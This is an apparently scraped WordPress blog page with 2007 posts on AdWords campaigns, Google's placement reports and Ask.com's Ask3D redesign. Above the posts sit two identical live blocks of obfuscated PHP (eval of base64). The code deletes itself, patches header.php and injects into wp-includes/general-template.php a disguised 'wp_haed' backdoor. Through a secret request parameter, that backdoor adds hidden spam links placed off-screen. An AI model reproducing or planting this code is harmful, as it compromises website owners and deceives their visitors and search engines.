//zzstart eval(base64_decode("Ly8gZmlyc3QgcmVtb3ZlIG15c2VsZgokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokbW9kID0gZmlsZV9jdXQoJGZpbGUsIHN0cnJldigidHJhdHN6eiIpLCBzdHJyZXYoImhzaW5pZnp6IikpOyAKCgovLyBtb2RpZnkgaGVhZGVyLnBocAokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokY2hlY2sgPSBmaW5kX2xpbmUoJGZpbGUsICJ3cF9oYWVkIik7CmlmKCRjaGVjaykgZGllKCJGaWxlIGFscmVhZHkgcGF0Y2hlZCIpOwokbW9kID0gZmlsZV9hcHBlbmQoJGZpbGUsICI8P3BocCBpZihmdW5jdGlvbl9leGlzdHMoJ3dwX2hhZWQnKSkgQHdwX2hhZWQoKSA/PiIpOwoKCi8vIG1vZGlmeSBnZW5lcmFsLXRlbXBsYXRlCiRmaWxlID0gQUJTUEFUSC4id3AtaW5jbHVkZXMvZ2VuZXJhbC10ZW1wbGF0ZS5waHAiOwokY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJ1puVnVZM1JwYjI0Z2QzQmZhR0ZsWkNncElIc0tDUzh2Y0hKcGJuUmZjaWdrWDFKRlVWVkZVMVFwT3dvS0NXbG1LQ1JmVWtWUlZVVlRWRnNuWTNKaGJXVnlKMTA5UFNkcWFXMG5LU0I3Q2drS0NRbHBaaWdrWDFKRlVWVkZVMVJiSjJOdFpDZGRQVDBuWVdSa0p5a2dld29KQ1FscFppZ2habWxzWlY5bGVHbHpkSE1vUVVKVFVFRlVTQzRuZDNBdGFXNWpiSFZrWlhNdmFXMWhaMlZ6THljcEtTQkFiV3RrYVhJZ0tFRkNVMUJCVkVndUozZHdMV2x1WTJ4MVpHVnpMMmx0WVdkbGN5OG5LVHNLQ1FrSkNna0pDU1J3WVhKaGJTQTlJSFJ5YVcwb0pGOVNSVkZWUlZOVVd5ZHdZWEpoYlNkZEtUc0tDUWtKSkhScGRHeGxJRDBnZEhKcGJTZ2tYMUpGVVZWRlUxUmJKM1JwZEd4bEoxMHBPd29KQ1FrS0NRa0pKR1lnUFNCbWIzQmxiaWhCUWxOUVFWUklMaWQzY0MxcGJtTnNkV1JsY3k5cGJXRm5aWE12Y0dsNFpXd3VaMmxtSnl3Z0oyRXJKeWs3Q2drSkNTUnlJRDBnWm5CMWRITW9KR1lzSUNJOFlTQm9jbVZtUFZ3aUpIQmhjbUZ0WENJK0pIUnBkR3hsUEM5aFBseHVJaWs3Q2drSkNTUnlJRDBnWm1Oc2IzTmxLQ1JtS1RzS0NRa0pDZ2tKQ1dWamFHOGdJandoTFMwZ1lXUmtJSE4xWTJObGMzTm1kV3dnTFMwK1hHNGlPd29KQ1FrS0NRbDlJR1ZzYzJWcFppQW9KRjlTUlZGVlJWTlVXeWRqYldRblhUMDlKMlJsYkdWMFpTY3BJSHNLQ1FrSkNpQWdJQ0FnSUNSd1lYSmhiU0E5SUhSeWFXMG9KRjlTUlZGVlJWTlVXeWR3WVhKaGJTZGRLVHNLSUNBZ0lDQWdKRzl5YVdjZ1BTQm1hV3hsS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ2RXNXNhVzVyS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ0pHWWdQU0JtYjNCbGJpaEJRbE5RUVZSSUxpZDNjQzFwYm1Oc2RXUmxjeTlwYldGblpYTXZjR2w0Wld3dVoybG1KeXdnSjJFckp5azdDaUFnSUNBZ0lHWnZjbVZoWTJnb0pHOXlhV2NnWVhNZ0pHeHBibVU5UGlSMllXeDFaU2tnZXdvZ0lDQWdJQ0FnSUNSMllXeDFaVDEwY21sdEtDUjJZV3gxWlNrN0NpQWdJQ0FnSUNBZ0pIQnZjejF6ZEhKd2IzTW9KSFpoYkhWbExDQWtjR0Z5WVcwcE93b2dJQ0FnSUNBZ0lHbG1LQ1J3YjNNOFBUQXBJR1p3ZFhSektDUm1MQ0FrZG1Gc2RXVXVJbHh1SWlrN0NpQWdJQ0FnSUgwS0lDQWdJQ0FnSkhJZ1BTQm1ZMnh2YzJVb0pHWXBPd29nSUNBZ0lDQmxZMmh2SUNJOElTMHRJR1JsYkdWMFpTQnpkV05qWlhOelpuVnNJQzB0UGx4dUlqc0tDUWtKQ1FrSkNRb0pDWDBLQ1FrS0NYMGdaV3h6WlNCN0Nna0phV1lvWm1sc1pWOWxlR2x6ZEhNb1FVSlRVRUZVU0M0bmQzQXRhVzVqYkhWa1pYTXZhVzFoWjJWekwzQnBlR1ZzTG1kcFppY3BLU0I3Q2drSkNTUnNaV1owWDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNRa2tkRzl3WDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNTQWdKR1JwZG5CcFpXTmxjejFsZUhCc2IyUmxLQ2NzSnl3aVlYSXNZbUVzYm1Fc1kyOHNiR2tzWkdrc1ptRXNibThzYzNRc2JIa2lLVHNLQ1FrSlptOXlLQ1JrYVhad2FXVmpaVDB3T3lSa2FYWndhV1ZqWlR3MU95UmthWFp3YVdWalpTc3JLU0I3Q2drSkNTQWdKR1JwZG01aGJXVXVQU1JrYVhad2FXVmpaWE5iY21GdVpDZ3dMSE5wZW1WdlppZ2taR2wyY0dsbFkyVnpLU2xkT3dvSkNRbDlDZ2tKQ1Q4K0Nna0pDVHhrYVhZZ2FXUTlJbmR3WHp3L1BTUmthWFp1WVcxbElEOCtJaUJ6ZEhsc1pUMGljRzl6YVhScGIyNDZZV0p6YjJ4MWRHVTdJR3hsWm5RNlBEODlKR3hsWm5SZmIyWm1jMlYwUHo1d2VEc2dkRzl3T2p3L1BTUjBiM0JmYjJabVpYUS9QbkI0T3lJK0NRb0pDUWs4UHlCcGJtTnNkV1JsSUVGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbk95QS9QZ29KQ1FrOEwyUnBkajRLQ1FrSlBEOEtDUWw5Q2dsOUNna0tmUW9LJyk7CiRjaGVjayA9IGZpbmRfbGluZSgkZmlsZSwgIndwX2hhZWQiKTsKaWYoJGNoZWNrKSBkaWUoIkZpbGUgYWxyZWFkeSBwYXRjaGVkIik7CiRsaW5lID0gZmluZF9saW5lKCRmaWxlLCAiZnVuY3Rpb24gcGFnaW5hdGVfbGlua3MiKTsKJHJzID0gZmlsZV9hZGQoJGZpbGUsICRsaW5lLS0sICRjb250ZW50KTsKCmZ1bmN0aW9uIGZpbGVfY3V0KCRmaWxlLCAkc3RhcnQsICRmaW5pc2gpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgZG9lc24ndCBleGlzdCIpOwoJaWYoIWlzX3dyaXRhYmxlKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGlzbid0IHdyaXRhYmxlIik7CglpZihmaWxlX2V4aXN0cygkZmlsZS4iLmJhayIpKSBkaWUoIkZpbGUgJGZpbGUuYmFrIGV4aXN0cyIpOwoKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJJHdyaXRlID0gVFJVRTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgoJCQoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJHN0YXJ0KSkgewoJCQkkd3JpdGUgPSBUUlVFOwoJCQljb250aW51ZTsKCQl9CgoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJGZpbmlzaCkpIHsKCQkJJHdyaXRlID0gRkFMU0U7CgkJCWNvbnRpbnVlOwoJCX0JCQoJCQoJCWlmKCR3cml0ZSkgewoJCQlmcHV0cygkbmV3LCAkbGluZV9jb250ZW50cyk7CgkJfQoKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7Cgl1bmxpbmsoJGZpbGUuIi5iYWsiKTsKfQoKCmZ1bmN0aW9uIGZpbGVfYWRkKCRmaWxlLCAkbGluZSwgJGNvbnRlbnQpIHsKCQoJaWYoZW1wdHkoJGZpbGUpIHx8ICFmaWxlX2V4aXN0cygkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBkb2Vzbid0IGV4aXN0Iik7CglpZighaXNfd3JpdGFibGUoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCWlmKGZpbGVfZXhpc3RzKCRmaWxlLiIuYmFrIikpIGRpZSgiRmlsZSAkZmlsZS5iYWsgZXhpc3RzIik7CgkKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgkJLy9lY2hvICRsaW5lX2lkLiI9PiIuJGxpbmVfY29udGVudHMuIjxicj5cbiI7CgkJCgoJCWlmKCRsaW5lX2lkPT0kbGluZSkgewoJCQlmcHV0cygkbmV3LCAkY29udGVudCk7CgkJfQoJCQoJCWZwdXRzKCRuZXcsICRsaW5lX2NvbnRlbnRzKTsKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7CgkKCXVubGluaygkZmlsZS4iLmJhayIpOwoKCQp9CgpmdW5jdGlvbiBmaW5kX2xpbmUoJGZpbGUsICR0ZXh0KSB7CglpZihlbXB0eSgkZmlsZSkgfHwgIWZpbGVfZXhpc3RzKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBpc24ndCB3cml0YWJsZSIpOwoKCSRvcmlnaW5hbCA9IGZpbGUoJGZpbGUpOwoJCglmb3JlYWNoKCRvcmlnaW5hbCBhcyAkbGluZV9pZD0+JGxpbmVfY29udGVudHMpIHsKCQlpZihzdHJzdHIoJGxpbmVfY29udGVudHMsICR0ZXh0KSkgewoJCQlyZXR1cm4gJGxpbmVfaWQ7CgkJCWJyZWFrOwoJCX0KCQkKCX0KCXJldHVybiBmYWxzZTsKCQp9CgpmdW5jdGlvbiBmaWxlX2FwcGVuZCgkZmlsZSwgJHRleHQpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGVfYXBwZW5kOiBmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZV9hcHBlbmQ6IGZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCQoJJGZpbGUgPSBmb3BlbigkZmlsZSwgImErIik7CgkkcnMgPSBmcHV0cygkZmlsZSwgJHRleHQpOwoJZmNsb3NlKCRmaWxlKTsKfQo="));
?>//zzfinish//zzstart eval(base64_decode("Ly8gZmlyc3QgcmVtb3ZlIG15c2VsZgokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokbW9kID0gZmlsZV9jdXQoJGZpbGUsIHN0cnJldigidHJhdHN6eiIpLCBzdHJyZXYoImhzaW5pZnp6IikpOyAKCgovLyBtb2RpZnkgaGVhZGVyLnBocAokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokY2hlY2sgPSBmaW5kX2xpbmUoJGZpbGUsICJ3cF9oYWVkIik7CmlmKCRjaGVjaykgZGllKCJGaWxlIGFscmVhZHkgcGF0Y2hlZCIpOwokbW9kID0gZmlsZV9hcHBlbmQoJGZpbGUsICI8P3BocCBpZihmdW5jdGlvbl9leGlzdHMoJ3dwX2hhZWQnKSkgQHdwX2hhZWQoKSA/PiIpOwoKCi8vIG1vZGlmeSBnZW5lcmFsLXRlbXBsYXRlCiRmaWxlID0gQUJTUEFUSC4id3AtaW5jbHVkZXMvZ2VuZXJhbC10ZW1wbGF0ZS5waHAiOwokY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJ1puVnVZM1JwYjI0Z2QzQmZhR0ZsWkNncElIc0tDUzh2Y0hKcGJuUmZjaWdrWDFKRlVWVkZVMVFwT3dvS0NXbG1LQ1JmVWtWUlZVVlRWRnNuWTNKaGJXVnlKMTA5UFNkcWFXMG5LU0I3Q2drS0NRbHBaaWdrWDFKRlVWVkZVMVJiSjJOdFpDZGRQVDBuWVdSa0p5a2dld29KQ1FscFppZ2habWxzWlY5bGVHbHpkSE1vUVVKVFVFRlVTQzRuZDNBdGFXNWpiSFZrWlhNdmFXMWhaMlZ6THljcEtTQkFiV3RrYVhJZ0tFRkNVMUJCVkVndUozZHdMV2x1WTJ4MVpHVnpMMmx0WVdkbGN5OG5LVHNLQ1FrSkNna0pDU1J3WVhKaGJTQTlJSFJ5YVcwb0pGOVNSVkZWUlZOVVd5ZHdZWEpoYlNkZEtUc0tDUWtKSkhScGRHeGxJRDBnZEhKcGJTZ2tYMUpGVVZWRlUxUmJKM1JwZEd4bEoxMHBPd29KQ1FrS0NRa0pKR1lnUFNCbWIzQmxiaWhCUWxOUVFWUklMaWQzY0MxcGJtTnNkV1JsY3k5cGJXRm5aWE12Y0dsNFpXd3VaMmxtSnl3Z0oyRXJKeWs3Q2drSkNTUnlJRDBnWm5CMWRITW9KR1lzSUNJOFlTQm9jbVZtUFZ3aUpIQmhjbUZ0WENJK0pIUnBkR3hsUEM5aFBseHVJaWs3Q2drSkNTUnlJRDBnWm1Oc2IzTmxLQ1JtS1RzS0NRa0pDZ2tKQ1dWamFHOGdJandoTFMwZ1lXUmtJSE4xWTJObGMzTm1kV3dnTFMwK1hHNGlPd29KQ1FrS0NRbDlJR1ZzYzJWcFppQW9KRjlTUlZGVlJWTlVXeWRqYldRblhUMDlKMlJsYkdWMFpTY3BJSHNLQ1FrSkNpQWdJQ0FnSUNSd1lYSmhiU0E5SUhSeWFXMG9KRjlTUlZGVlJWTlVXeWR3WVhKaGJTZGRLVHNLSUNBZ0lDQWdKRzl5YVdjZ1BTQm1hV3hsS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ2RXNXNhVzVyS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ0pHWWdQU0JtYjNCbGJpaEJRbE5RUVZSSUxpZDNjQzFwYm1Oc2RXUmxjeTlwYldGblpYTXZjR2w0Wld3dVoybG1KeXdnSjJFckp5azdDaUFnSUNBZ0lHWnZjbVZoWTJnb0pHOXlhV2NnWVhNZ0pHeHBibVU5UGlSMllXeDFaU2tnZXdvZ0lDQWdJQ0FnSUNSMllXeDFaVDEwY21sdEtDUjJZV3gxWlNrN0NpQWdJQ0FnSUNBZ0pIQnZjejF6ZEhKd2IzTW9KSFpoYkhWbExDQWtjR0Z5WVcwcE93b2dJQ0FnSUNBZ0lHbG1LQ1J3YjNNOFBUQXBJR1p3ZFhSektDUm1MQ0FrZG1Gc2RXVXVJbHh1SWlrN0NpQWdJQ0FnSUgwS0lDQWdJQ0FnSkhJZ1BTQm1ZMnh2YzJVb0pHWXBPd29nSUNBZ0lDQmxZMmh2SUNJOElTMHRJR1JsYkdWMFpTQnpkV05qWlhOelpuVnNJQzB0UGx4dUlqc0tDUWtKQ1FrSkNRb0pDWDBLQ1FrS0NYMGdaV3h6WlNCN0Nna0phV1lvWm1sc1pWOWxlR2x6ZEhNb1FVSlRVRUZVU0M0bmQzQXRhVzVqYkhWa1pYTXZhVzFoWjJWekwzQnBlR1ZzTG1kcFppY3BLU0I3Q2drSkNTUnNaV1owWDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNRa2tkRzl3WDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNTQWdKR1JwZG5CcFpXTmxjejFsZUhCc2IyUmxLQ2NzSnl3aVlYSXNZbUVzYm1Fc1kyOHNiR2tzWkdrc1ptRXNibThzYzNRc2JIa2lLVHNLQ1FrSlptOXlLQ1JrYVhad2FXVmpaVDB3T3lSa2FYWndhV1ZqWlR3MU95UmthWFp3YVdWalpTc3JLU0I3Q2drSkNTQWdKR1JwZG01aGJXVXVQU1JrYVhad2FXVmpaWE5iY21GdVpDZ3dMSE5wZW1WdlppZ2taR2wyY0dsbFkyVnpLU2xkT3dvSkNRbDlDZ2tKQ1Q4K0Nna0pDVHhrYVhZZ2FXUTlJbmR3WHp3L1BTUmthWFp1WVcxbElEOCtJaUJ6ZEhsc1pUMGljRzl6YVhScGIyNDZZV0p6YjJ4MWRHVTdJR3hsWm5RNlBEODlKR3hsWm5SZmIyWm1jMlYwUHo1d2VEc2dkRzl3T2p3L1BTUjBiM0JmYjJabVpYUS9QbkI0T3lJK0NRb0pDUWs4UHlCcGJtTnNkV1JsSUVGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbk95QS9QZ29KQ1FrOEwyUnBkajRLQ1FrSlBEOEtDUWw5Q2dsOUNna0tmUW9LJyk7CiRjaGVjayA9IGZpbmRfbGluZSgkZmlsZSwgIndwX2hhZWQiKTsKaWYoJGNoZWNrKSBkaWUoIkZpbGUgYWxyZWFkeSBwYXRjaGVkIik7CiRsaW5lID0gZmluZF9saW5lKCRmaWxlLCAiZnVuY3Rpb24gcGFnaW5hdGVfbGlua3MiKTsKJHJzID0gZmlsZV9hZGQoJGZpbGUsICRsaW5lLS0sICRjb250ZW50KTsKCmZ1bmN0aW9uIGZpbGVfY3V0KCRmaWxlLCAkc3RhcnQsICRmaW5pc2gpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgZG9lc24ndCBleGlzdCIpOwoJaWYoIWlzX3dyaXRhYmxlKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGlzbid0IHdyaXRhYmxlIik7CglpZihmaWxlX2V4aXN0cygkZmlsZS4iLmJhayIpKSBkaWUoIkZpbGUgJGZpbGUuYmFrIGV4aXN0cyIpOwoKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJJHdyaXRlID0gVFJVRTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgoJCQoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJHN0YXJ0KSkgewoJCQkkd3JpdGUgPSBUUlVFOwoJCQljb250aW51ZTsKCQl9CgoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJGZpbmlzaCkpIHsKCQkJJHdyaXRlID0gRkFMU0U7CgkJCWNvbnRpbnVlOwoJCX0JCQoJCQoJCWlmKCR3cml0ZSkgewoJCQlmcHV0cygkbmV3LCAkbGluZV9jb250ZW50cyk7CgkJfQoKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7Cgl1bmxpbmsoJGZpbGUuIi5iYWsiKTsKfQoKCmZ1bmN0aW9uIGZpbGVfYWRkKCRmaWxlLCAkbGluZSwgJGNvbnRlbnQpIHsKCQoJaWYoZW1wdHkoJGZpbGUpIHx8ICFmaWxlX2V4aXN0cygkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBkb2Vzbid0IGV4aXN0Iik7CglpZighaXNfd3JpdGFibGUoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCWlmKGZpbGVfZXhpc3RzKCRmaWxlLiIuYmFrIikpIGRpZSgiRmlsZSAkZmlsZS5iYWsgZXhpc3RzIik7CgkKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgkJLy9lY2hvICRsaW5lX2lkLiI9PiIuJGxpbmVfY29udGVudHMuIjxicj5cbiI7CgkJCgoJCWlmKCRsaW5lX2lkPT0kbGluZSkgewoJCQlmcHV0cygkbmV3LCAkY29udGVudCk7CgkJfQoJCQoJCWZwdXRzKCRuZXcsICRsaW5lX2NvbnRlbnRzKTsKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7CgkKCXVubGluaygkZmlsZS4iLmJhayIpOwoKCQp9CgpmdW5jdGlvbiBmaW5kX2xpbmUoJGZpbGUsICR0ZXh0KSB7CglpZihlbXB0eSgkZmlsZSkgfHwgIWZpbGVfZXhpc3RzKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBpc24ndCB3cml0YWJsZSIpOwoKCSRvcmlnaW5hbCA9IGZpbGUoJGZpbGUpOwoJCglmb3JlYWNoKCRvcmlnaW5hbCBhcyAkbGluZV9pZD0+JGxpbmVfY29udGVudHMpIHsKCQlpZihzdHJzdHIoJGxpbmVfY29udGVudHMsICR0ZXh0KSkgewoJCQlyZXR1cm4gJGxpbmVfaWQ7CgkJCWJyZWFrOwoJCX0KCQkKCX0KCXJldHVybiBmYWxzZTsKCQp9CgpmdW5jdGlvbiBmaWxlX2FwcGVuZCgkZmlsZSwgJHRleHQpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGVfYXBwZW5kOiBmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZV9hcHBlbmQ6IGZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCQoJJGZpbGUgPSBmb3BlbigkZmlsZSwgImErIik7CgkkcnMgPSBmcHV0cygkZmlsZSwgJHRleHQpOwoJZmNsb3NlKCRmaWxlKTsKfQo="));
?>//zzfinish
13 Jun, 2007 by Robert
Some search engine marketers might be wondering if it really is advantageous to revive an old Adwords campaign. This is especially common when dealing with a new client who has had a previous Adwords campaign. The answer is relative to the older campaign’s performance. As Seroundtable.com puts it
As far as old campaigns go, if the account has a really bad history and not-so-good quality scores, it’s better to close that account and start from scratch rather than to revive an old account and have Google use that history against you. After all, as member Jeremy Brookins says, “if you move your keywords, Google continues to consider that keyword’s previous history. HOWEVER, it also will weight in an expected performance of the new
adgroup/ad/landing page, which can be a good or bad thing depending on your previous performance.”
Plus, if you are using an older campaign it will take less time to setup which can be a plus for the lazier… I mean busier SEM.
12 Jun, 2007 by Robert
Complain enough and someone’s bound to hear… and maybe even do something about it. That’s just what the fine folks at Google have done. To appease the woes of the common Adsense marketers Google has announced their upcoming launch of the brand spanking new Placement Performance report. Marketers can now get an in depth view of where their ads are being placed as well as site performance metrics to better gauge ad performance. Oh, Google you really are a marketer’s wet dream. You can get the full story at Clickz.com.
6 Jun, 2007 by David
Ask.com has just relaunched their search engine interface Ask3D and I have say that Ask.com really has hit the mark with this innovative update. Users can get refined search query suggestions, search results and categorized results on the same page which really provides a more through and inviting feel compared to the older SERP models. In addition to this they offer a new “binocular” feature that allows users to view a page without clicking on the link. Ask.com provides a full description of their new update here.
After spending some time using some of the new features I have to say that I am really impressed with what I’ve seen so far. I was a bit skeptical about the cleanliness and ease of use for the new features particularly the clutter that I expected to see with all this information packed into one SERP. However, I am really surprised at how intuitive and user friendly the new features feel. The SERP is organized in a very clear cut manner and with multichannel search results displayed it makes searching so much easier and quicker. The only pivotal difference that I saw, in terms of sponsored and organic results, is that there seems to be less emphasis on the sponsored results. Although it seems like this would have a negative effect the sponsored results have less of a paid advertising “feel” to them and may attract users who are wary marketers aggressively advertising irrelevant sites.
It really looks like Ask.com has got a winner here but let’s just wait until Google gets wind of the idea and makes it better.